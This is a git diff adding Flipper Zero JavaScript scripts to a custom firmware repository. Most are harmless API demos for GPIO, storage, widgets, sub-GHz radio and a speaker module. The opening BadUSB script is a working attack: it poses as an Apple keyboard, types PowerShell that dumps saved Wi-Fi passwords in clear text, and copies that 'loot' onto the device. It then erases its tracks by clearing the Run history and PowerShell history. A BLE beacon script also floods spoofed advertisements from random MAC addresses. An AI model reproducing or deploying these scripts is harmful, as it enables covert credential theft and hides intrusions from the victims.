profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> " + localFileName + ";", + // "dir env: >> " + localFileName + ";", +]; + +// Payload to copy from the SD card to the USB drive. +let copyPayload = true; +let playPayload = true; +let payloadName = "demo.mp3"; +let payloadSrcName = __dirpath + "/payloads/" + payloadName; +let payloadDstName = "/mnt/" + payloadName; + +// All the loot will be stored in this file. +let lootFile = __dirpath + "/loot.txt"; + +// Image to store payloads and results. +let exfilCapacityMb = 4; // Reserve space for our image (payloads and results). +let image = __dirpath + "/Demo_" + to_string(exfilCapacityMb) + "MB.img"; +let flipperStorageName = "Flipper Mass Storage"; + +// Folder and file to store the results on SD card. +let resultFolder = "results"; +let resultFileName = "info.txt"; + +print("Checking for Image..."); +if (storage.exists(image)) { + storage.remove(image); +} +print("Creating Storage..."); +usbdisk.createImage(image, exfilCapacityMb * 1024 * 1024); + +if (copyPayload) { + print("Copying Payload...") + storage.virtualInit(image); + storage.virtualMount(); + storage.copy(payloadSrcName, payloadDstName); + storage.virtualQuit(); +} + +badusb.setup({ + vid: 0x1234, + pid: 0x5678, + mfr_name: "Apple", + prod_name: "Keyboard", + layout_path: "/ext/badusb/assets/layouts/" + layout + ".kl" +}); +print("Waiting for connection"); +while (!badusb.isConnected()) { + delay(1000); +} + +// Launch powershell +print("Launching powershell"); +delay(3000); +badusb.press("GUI", "x"); +delay(500); +badusb.press("i"); +delay(3000); + +print("Running commands"); +badusb.print(" md " + localTempFolder + "; cd " + localTempFolder + "; "); +for (let i = 0; i < script.length; i++) { + badusb.print(script[i]); +} +badusb.press("ENTER"); +badusb.press("ENTER"); + +// Wait for attached drive, assign to $DriveLetter +badusb.print(" $FlipperStorage = '" + flipperStorageName + "';"); +badusb.print(" do {"); +badusb.print(" Start-Sleep 1;"); +badusb.print(" $Disks = Get-Disk;"); +badusb.print(" $DiskNames = $Disks | Select-Object -Property Number,FriendlyName;"); +badusb.print(" $DiskNumber = $DiskNames | Where-Object -FilterScript { ($_.FriendlyName) -eq $FlipperStorage} | Select-Object -ExpandProperty Number;"); +badusb.print(" } while ($DiskNumber -lt 0);") +badusb.print(" $DriveLetter = Get-Partition -DiskNumber ${DiskNumber} | Select-Object -ExpandProperty DriveLetter;"); + +// Copy file from USB drive locally. +if (copyPayload) { + badusb.print(" $Payload = ${DriveLetter} + ':\\" + payloadName + "';"); + badusb.print(" Copy-Item -Path $Payload;"); +} + +// Play the MP3 payload file. +if (playPayload) { + badusb.print("Add-Type -AssemblyName presentationCore;"); + badusb.print(" $mediaPlayer = New-Object system.windows.media.mediaplayer;"); + badusb.print(" $song = Get-Location | Select-Object -ExpandProperty Path;"); + badusb.print(" $song = $song+'\\" + payloadName + "';") + badusb.print(" $mediaPlayer.open($song);"); + badusb.print(" $mediaPlayer.Play();"); +} + +// Move file onto SD card +if (script.length > 0) { + badusb.print(" $LocalFile = '" + localFileName + "';"); + badusb.print(" New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\" + resultFolder + "\\;"); + badusb.print(" Move-Item -Path $LocalFile -Destination ${DriveLetter}:\\" + resultFolder + "\\" + resultFileName + ";"); + badusb.print(" Start-Sleep 1;"); +} + +// Eject drive +badusb.print(" $eject = New-Object -comObject Shell.Application;"); +badusb.print(" $eject.Namespace(17).ParseName($DriveLetter+':').InvokeVerb('Eject');"); + +// Hide tracks +badusb.print(" cd ..;"); +badusb.print(" Remove-Item " + localTempFolder + " -Force -Recurse;"); +badusb.print(" reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f;"); +badusb.print(" Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue;"); +badusb.press("ENTER"); +delay(500); + +// Close window & detach keyboard +badusb.press("ENTER"); +badusb.print(" Start-Sleep 10; exit"); +badusb.press("ENTER"); +badusb.quit(); + +// Wait for badusb to finish typing. +print("Waiting for typing to finish..."); +delay(5 * 1000); + +// Attach storage +print("Attaching storage..."); +usbdisk.start(image); + +// Wait for storage to be detached from script +print("Waiting for storage to detatch..."); +while (!usbdisk.wasEjected()) { + delay(1000); +} +usbdisk.stop(); + +// Done +print("Detached disk."); +delay(1000); + +// Mount and display loot +if (script.length > 0) { + print("Reading loot..."); + storage.virtualInit(image); + storage.virtualMount(); + delay(1000); + let data = storage.read("/mnt/" + resultFolder + "/" + resultFileName); + textbox.setConfig("start", "text"); + textbox.clearText(); + let data_view = Uint8Array(data); + for (let i = 0; i < data_view.length; i++) { + textbox.addText(chr(data_view[i])); + } + data_view = undefined; + textbox.addText("\n"); + textbox.show(); + print("Copying to loot file."); + storage.append(lootFile, data); + print("Displaying results."); + while (textbox.isOpen()) { + delay(1000); + } + textbox.clearText(); + storage.virtualQuit(); +} + +print("Done."); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js new file mode 100644 index 000000000..53983a745 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js @@ -0,0 +1,59 @@ +let blebeacon = require("blebeacon"); + +// Stop if previous background beacon is active +if (blebeacon.isActive()) { + blebeacon.stop(); +} + +// Make sure it resets at script exit, true will keep advertising in background +// This is false by default, can be omitted +blebeacon.keepAlive(false); + + +let math = require("math"); + +let currentIndex = 0; +let watchValues = [ + 0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15, + 0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E, + 0x20, 0xEC, 0xEF +]; + +function generateRandomMac() { + let mac = []; + for (let i = 0; i < 6; i++) { + mac.push(math.floor(math.random() * 256)); + } + return Uint8Array(mac); +} + +function sendRandomModelAdvertisement() { + let model = watchValues[currentIndex]; + + let packet = [ + 14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43, + model + ]; + + let intervalMs = 50; + + // Power level, min interval and max interval are optional + blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3); + + blebeacon.setData(Uint8Array(packet)); + + blebeacon.start(); + + print("Sent data for model ID " + to_string(model)); + + currentIndex = (currentIndex + 1) % watchValues.length; + + delay(intervalMs); + + blebeacon.stop(); +} + +while (true) { + sendRandomModelAdvertisement(); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js new file mode 100644 index 000000000..06d394c53 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js @@ -0,0 +1,5 @@ +print("print", 1); +console.log("log", 2); +console.warn("warn", 3); +console.error("error", 4); +console.debug("debug", 5); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js new file mode 100644 index 000000000..c63877f8e --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js @@ -0,0 +1,36 @@ +let gpio = require("gpio"); +let pins = ["PA7", "PA6", "PA4", "PB3", "PB2", "PC3"]; +for (let i=0; i 0) { + print("!!!", failed, "Unit tests failed !!!"); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js new file mode 100644 index 000000000..20f60c732 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js @@ -0,0 +1,9 @@ +let notify = require("notification"); +notify.error(); +delay(1000); +notify.success(); +delay(1000); +for (let i = 0; i < 10; i++) { + notify.blink("red", "short"); + delay(500); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js new file mode 100644 index 000000000..0381150d2 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js @@ -0,0 +1,9 @@ +let storage = require("storage"); + +print("script has __dirpath of" + __dirpath); +print("script has __filepath of" + __filepath); +if (storage.exists(__dirpath + "/math.js")) { + print("math.js exist here."); +} else { + print("math.js does not exist here."); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js new file mode 100644 index 000000000..d0ad5f344 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js @@ -0,0 +1,62 @@ +// SK9822 RGB LED strip example + +let gpio = require("gpio"); +gpio.init("PC3", "outputPushPull", "no"); // pin, mode, pull +print("PC3 is clock"); +gpio.init("PA7", "outputPushPull", "no"); // pin, mode, pull +print("PA7 is data"); + +function writeByte(data) { + for (let i = 0; i < 8; i++) { + let mask = 1 << (7 - i); + gpio.write("PA7", (data & mask) === mask); + gpio.write("PC3", true); + gpio.write("PC3", false); + } +} + +function writeStart() { + writeByte(0); + writeByte(0); + writeByte(0); + writeByte(0); +} + +function writeStop(b) { + writeByte(b); + writeByte(b); + writeByte(b); + writeByte(b); +} + +function writeColor(r, g, b, i) { + writeByte(0xE0 | (i & 31)); + writeByte(b); + writeByte(g); + writeByte(r); +} + + +// read value from PC1 and write it to PC3 +let maxIntensity = 31; +let intensity = 0; +while (true) { + writeStart(); + writeColor(255, 0, 0, intensity); + writeColor(0, 255, 0, intensity); + writeColor(0, 0, 255, intensity); + writeColor(255, 255, 255, intensity); + writeColor(255, 255, 0, intensity); + writeColor(255, 0, 255, intensity); + writeColor(0, 255, 255, intensity); + writeColor(1, 0, 0, intensity); + writeColor(4, 0, 0, intensity); + writeColor(16, 0, 0, intensity); + writeColor(64, 0, 0, intensity); + writeStop(0); + delay(20); + intensity++; + if (intensity > maxIntensity) { + intensity = 1; + } +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js new file mode 100644 index 000000000..bca6c4c96 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js @@ -0,0 +1,40 @@ +// By jamisonderek +// For documentation on this API's use, see: +// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/ +({ + _acquired: false, + _acquire: ffi("int furi_hal_speaker_acquire(int)"), + _release: ffi("void furi_hal_speaker_release(void)"), + start: ffi("void furi_hal_speaker_start(float, float)"), + stop: ffi("void furi_hal_speaker_stop(void)"), + acquire: function (timeout) { + if (!this._acquired) { + this._acquired = this._acquire(timeout); + } + return this._acquired; + }, + acquired: function () { + return this._acquired; + }, + release: function () { + if (this._acquired) { + this._release(); + this._acquired = false; + } + }, + play: function (frequency, volume, duration) { + let already_acquired = this.acquired(); + if (!already_acquired) { + this.acquire(1000); + }; + if (this.acquired()) { + this.start(frequency, volume); + delay(duration); + this.stop(); + } + if (!already_acquired) { + this.release(); + } + }, +} +) \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md new file mode 100644 index 000000000..ddd9b6d82 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md @@ -0,0 +1,14 @@ +# Speaker + +A JavaScript that plays tones using the `ffi` commands. The advantage of the `ffi` commands is that they can run on firmware without requiring a particular module `.fal` file to exist on the Flipper. Thanks to [Freehuntx](https://github.com/Freehuntx) for the various examples of using `ffi`. + +## How to use +Copy the `speaker.js` file and `speaker_api.js` file to your Flipper Zero, typically the `SD Card/app/Scrips` folder. You can then run the script (on your Flipper press `OK` then choose `Apps`, `Scripts`, `speaker.js`). + +NOTE: The script uses the `__dirpath` variable to locate the `speaker_api.js` file. Some frameworks don't support this variable yet, so you may need to adjust the path to the `speaker_api.js` file. For example change the first line of speaker.js to the following: +```js +let Speaker = load("/ext/apps/Scripts/speaker_api.js"); +``` + +For an `ffi` version of script that obtains the same data as `__dirpath` see [this Discord post]( +https://discord.com/channels/1211622338198765599/1220056596638597327) by @Freehuntx. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js new file mode 100644 index 000000000..3ba2f25e1 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js @@ -0,0 +1,4 @@ +let Speaker = load(__dirpath + "/speaker_api.js"); + +Speaker.play(440, 1.0, 500); +Speaker.play(880, 1.0, 500); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js new file mode 100644 index 000000000..fd2ba4a4f --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js @@ -0,0 +1,46 @@ +let storage = require("storage"); +let path = "/ext/storage.test"; + +function arraybuf_to_string(arraybuf) { + let string = ""; + let data_view = Uint8Array(arraybuf); + for (let i = 0; i < data_view.length; i++) { + string += chr(data_view[i]); + } + return string; +} + +print("File exists:", storage.exists(path)); + +print("Writing..."); +// write(path, data, offset) +// If offset is specified, the file is not cleared, content is kept and data is written at specified offset +// Takes both strings and array buffers +storage.write(path, "Hello "); + +print("File exists:", storage.exists(path)); + +// Append will create the file even if it doesnt exist! +// Takes both strings and array buffers +storage.append(path, "World!"); + +print("Reading..."); +// read(path, size, offset) +// If no size specified, total filesize is used +// If offset is specified, size is capped at (filesize - offset) +let data = storage.read(path); +// read returns an array buffer, to allow proper usage of raw binary data +print(arraybuf_to_string(data)); + +print("Removing...") +storage.remove(path); + +print("Done") + +// There's also: +// storage.copy(old_path, new_path); +// storage.move(old_path, new_path); +// storage.mkdir(path); +// storage.virtualInit(path); +// storage.virtualMount(); +// storage.virtualQuit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js new file mode 100644 index 000000000..51781328d --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js @@ -0,0 +1,19 @@ +let sampleText = "Hello, World!"; + +let lengthOfText = "Length of text: " + to_string(sampleText.length); +print(lengthOfText); + +let start = 7; +let end = 12; +let substringResult = sampleText.slice(start, end); +print(substringResult); + +let searchStr = "World"; +let result2 = to_string(sampleText.indexOf(searchStr)); +print(result2); + +let upperCaseText = "Text in upper case: " + to_upper_case(sampleText); +print(upperCaseText); + +let lowerCaseText = "Text in lower case: " + to_lower_case(sampleText); +print(lowerCaseText); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js new file mode 100644 index 000000000..b5e54bac6 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js @@ -0,0 +1,45 @@ +let subghz = require("subghz"); +subghz.setup(); + +function printRXline() { + if (subghz.getState() !== "RX") { + subghz.setRx(); // to RX + } + + let rssi = subghz.getRssi(); + let freq = subghz.getFrequency(); + let ext = subghz.isExternal(); + + print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext); +} + +function changeFrequency(freq) { + if (subghz.getState() !== "IDLE") { + subghz.setIdle(); // need to be idle to change frequency + } + subghz.setFrequency(freq); +} + +subghz.setIdle(); +print(subghz.getState()); // "IDLE" +subghz.setRx(); +print(subghz.getState()); // "RX" + +changeFrequency(433920000); +printRXline(); +delay(1000); + +print("Sending 0.sub") +subghz.transmitFile("/ext/subghz/0.sub"); +// Can also specify repeat count: subghz.transmitFile(path, repeat) +// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed +// These 10 repeats by default are to simulate holding the button on remote +print("Send success"); +delay(1000); + +changeFrequency(315000000); +printRXline(); + +// Optional, done automatically at script end +subghz.end() +// But can be used to setup again, which will retry to detect external modules \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js new file mode 100644 index 000000000..245551309 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js @@ -0,0 +1,11 @@ +let submenu = require("submenu"); + +submenu.addItem("Item 1", 0); +submenu.addItem("Item 2", 1); +submenu.addItem("Item 3", 2); + +submenu.setHeader("Select an option:"); + +let result = submenu.show(); +// Returns undefined when pressing back +print("Result:", result); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js new file mode 100644 index 000000000..6caf37234 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js @@ -0,0 +1,30 @@ +let textbox = require("textbox"); + +// You should set config before adding text +// Focus (start / end), Font (text / hex) +textbox.setConfig("end", "text"); + +// Can make sure it's cleared before showing, in case of reusing in same script +// (Closing textbox already clears the text, but maybe you added more in a loop for example) +textbox.clearText(); + +// Add default text +textbox.addText("Example dynamic updating textbox\n"); + +// Non-blocking, can keep updating text after, can close in JS or in GUI +textbox.show(); + +let i = 0; +while (textbox.isOpen() && i < 20) { + print("console", i++); + + // Add text to textbox buffer + textbox.addText("textbox " + to_string(i) + "\n"); + + delay(500); +} + +// If not closed by user (instead i < 20 is false above), close forcefully +if (textbox.isOpen()) { + textbox.close(); +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md new file mode 100644 index 000000000..ea1ed54cb --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md @@ -0,0 +1,35 @@ +# vgm_sensor tutorial + +This is an example of extending JavaScript for the Flipper Zero. The files were used in the [YouTube video](https://youtu.be/EtOZN3Rh47c) which demonstrates the process in detail. + +Our [a_demo.js](./a_demo.js) script will play a tone using the speaker module. It will then display sensor information from the video game module. + +The [tone_rotate.js](./tone_rotate.js) script will play a tone using the speaker module. As you rotate the Flipper (change the yaw reading) the frequency of the tone will increase or decrese. + +Copy the [a_demo.js](./a_demo.js) and [tone_rotate.js](./tone_rotate.js) files to your `SD Card/apps/Scripts` directory. You can then run the scripts from the Flipper Zero (`Apps`, `Scripts`, `a_demo.js`). + +## Prebuilt apps +You can copy one of the FAL files from [prebuilt](./prebuilt/) onto `SD Card/apps_data/js_app/plugins/js_vgm.fal` and then you will be able to do `let vgm = require("vgm");`. The prebuilt files exposes the 4 APIs (getPitch, getRoll, getYaw, deltaYaw) from the video and they also expose a (`play(440,1.0,250);`) command -- since I wanted to see what would happen if I used furi_hal_speaker APIs in my module code. If you use the wrong one for your firmware, you will get `"vgm" module load fail`. You can also copy [tone_rotate_native.js](./prebuilt/tone_rotate_native.js) to the `SD Card/apps/Scripts/tone_rotate_native.js`. Running the script (`Apps`, `Scripts`, `tone_rotate_native`) should play tones as you rotate your Flipper with the VGM attached. + +## Installing the JS speaker_api module +We wrote the speaker_api module in JavaScript (using furi_hal_xxx APIs to expose a new speaker module). This file [speaker_api.js](./speaker_api.js) should be copied to your `SD Card/apps/Scripts` directory. Once copied, your scripts can do a `let speaker = load(__dirpath + "/speaker_api.js");` and then `speaker.playTone(440, 1.0, 500);` to play a 440Hz tone, at full volume for 500ms. This file is a good example of how to use FFI to extend the Flipper Zero. If your APIs are part of the firmware, and don't use enumeration values, this is a good technqiue to use. (If they use enumeration values, it's possible that the values will change in the future, and your script will reference the improper id values.) + +## Installing the C (js_vgm) module +To expose the sensor APIs to JavaScript we used a second technique of creating a module in C and compiling it into the firmware. This is a more robust technique, but requires more work for everyone that want to use the module. If you are using enumeration values, they get resolved at compile time so they will always be correct. You are able to include additional files in your C module, so you can access APIs that aren't part of the firmware (for example, accessing the sensors in the video game module). The downside is that you have to write C code, and everyone that wants to run your script needs to have their firmware compiled with your module. + +To add the native C module to your firmware: +- Follow the steps in [Clone & Deploy firmware](https://github.com/jamisonderek/flipper-zero-tutorials/wiki/Install-Firmware-and-Apps#clone--deploy-firmware) instructions. +- Copy the [js_vgm](./js_vgm) folder to your firmware's `applications/system/js_app/modules/js_vgm` directory on your computer. +- Update your application.fam for js_app, adding an entry in your firmware's `applications/system/js_app/application.fam` file to include the js_vgm module at the bottom of the file. It should look like the following: +```c +App( + appid="js_vgm", + apptype=FlipperAppType.PLUGIN, + entry_point="js_vgm_ep", + requires=["js_app"], + sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"], +) +``` +- Recompile your firmware and deploy it to your Flipper Zero. (e.g. Run step 7 again in the *Clone & Deploy firmware* instructions.) + +NOTE: If you create a useful module, you should try to make a pull-request to the firmware, so that other people can use your module without having to recompile the firmware. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js new file mode 100644 index 000000000..6027098df --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js @@ -0,0 +1,38 @@ +let vgm = require("vgm"); +let __dirpath = "/ext/apps/Scripts"; +let speaker = load(__dirpath + "/speaker_api.js"); + +let min_delta_angle = 29.98; +let max_wait_ms = 10000; +let freq_hz = 440; + +//Uncomment below to test for various test cases... +//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). +//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. +//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. +//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. + +// Show the pitch, roll, and yaw values for 5 seconds +for (let i = 0; i < 5; i++) { + print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); + delay(1000); +} + +// Play a sound that changes pitch based on yaw +for (let i = 0; i < 500; i++) { + print("Freq", freq_hz, "Hz"); + speaker.play(freq_hz, 1.0, 250); + + let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); + if (delta === undefined) { + print("No VGM detected. Exiting..."); + break; + } + delta /= (min_delta_angle / 1.02); + + if (delta > 0) { + freq_hz *= delta; + } else if (delta < 0) { + freq_hz /= -delta; + } +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js new file mode 100644 index 000000000..9458a6069 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js @@ -0,0 +1,40 @@ +let vgm = require("vgm"); +//The pre-built vgm exposes a .play function, so we don't need the speaker_api.js file. +//let __dirpath = "/ext/apps/Scripts"; +//let speaker = load(__dirpath + "/speaker_api.js"); + +let min_delta_angle = 29.98; +let max_wait_ms = 10000; +let freq_hz = 440; + +//Uncomment below to test for various test cases... +//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). +//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. +//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. +//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. + +// Show the pitch, roll, and yaw values for 5 seconds +for (let i = 0; i < 3; i++) { + print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); + delay(1000); +} + +// Play a sound that changes pitch based on yaw +for (let i = 0; i < 500; i++) { + print("Freq", freq_hz, "Hz"); + // speaker.play(freq_hz, 1.0, 250); + vgm.play(freq_hz, 1.0, 250); + + let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); + if (delta === undefined) { + print("No VGM detected. Exiting..."); + break; + } + delta /= (min_delta_angle / 1.02); + + if (delta > 0) { + freq_hz *= delta; + } else if (delta < 0) { + freq_hz /= -delta; + } +} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js new file mode 100644 index 000000000..1cc0d8e62 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js @@ -0,0 +1,14 @@ +let serial = require("serial"); +serial.setup("usart", 230400); + +while (1) { + let rx_data = serial.readBytes(1, 0); + if (rx_data !== undefined) { + serial.write(rx_data); + let data_view = Uint8Array(rx_data); + print("0x" + to_hex_string(data_view[0])); + } +} + +// There's also serial.end(), so you can serial.setup() again in same script +// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js new file mode 100644 index 000000000..df9b1ab3e --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js @@ -0,0 +1,13 @@ +let usbdisk = require("usbdisk"); +let image = "/ext/apps_assets/mass_storage/test.img"; +// print("Creating image..."); +// usbdisk.createImage("/ext/apps_data/mass_storage/128MB.img", 128 * 1024 * 1024); +print("Starting UsbDisk..."); +usbdisk.start(image); +print("Started, waiting until ejected..."); +while (!usbdisk.wasEjected()) { + delay(1000); +} +print("Ejected, stopping UsbDisk..."); +usbdisk.stop(); +print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm new file mode 100644 index 000000000..9ba5783ce Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js new file mode 100644 index 000000000..4ff11e441 --- /dev/null +++ b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js @@ -0,0 +1,59 @@ +let widget = require("widget"); + +let demo_seconds = 30; + +print("Loading file", __filepath); +print("From directory", __dirpath); + +// addText supports "Primary" and "Secondary" font sizes. +widget.addText(10, 10, "Primary", "Example JS widget"); +widget.addText(10, 20, "Secondary", "Example widget from JS!"); + +// load a Xbm file from the same directory as this script. +widget.addText(0, 30, "Secondary", __filepath); +let logo = widget.loadImageXbm(__dirpath + "/widget-js.fxbm"); + +// add a line (x1, y1, x2, y2) +widget.addLine(10, 35, 120, 35); + +// add a circle/disc (x, y, radius) +widget.addCircle(12, 52, 10); +widget.addDisc(12, 52, 5); + +// add a frame/box (x, y, width, height) +widget.addFrame(30, 45, 10, 10); +widget.addBox(32, 47, 6, 6); + +// add a rounded frame/box (x, y, width, height, radius) +widget.addRframe(50, 45, 15, 15, 3); +widget.addRbox(53, 48, 6, 6, 2); + +// add a dot (x, y) +widget.addDot(100, 45); +widget.addDot(102, 44); +widget.addDot(104, 43); + +// add a glyph (x, y, glyph) +widget.addGlyph(115, 50, "#".charCodeAt(0)); + +// Show the widget (drawing the layers in the orderer they were added) +widget.show(); + +let i = 1; +let bitmap = undefined; +while (widget.isOpen() && i <= demo_seconds) { + // Print statements will only show up once the widget is closed. + print("count is at", i++); + + // You can call remove on any added item, it does not impact the other ids. + if (bitmap) { widget.remove(bitmap); bitmap = undefined; } + // All of the addXXX functions return an id that can be used to remove the item. + else { bitmap = widget.addXbm(77, 45, logo); } + + delay(1000); +} + +// If user did not press the back button, close the widget. +if (widget.isOpen()) { + widget.close(); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap new file mode 100644 index 000000000..490edb22f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap new file mode 100644 index 000000000..910ea13f1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap new file mode 100644 index 000000000..60565b945 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap new file mode 100644 index 000000000..97145b9f0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap new file mode 100644 index 000000000..75b8fc16d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap new file mode 100644 index 000000000..a37d34069 Binary files /dev/null and 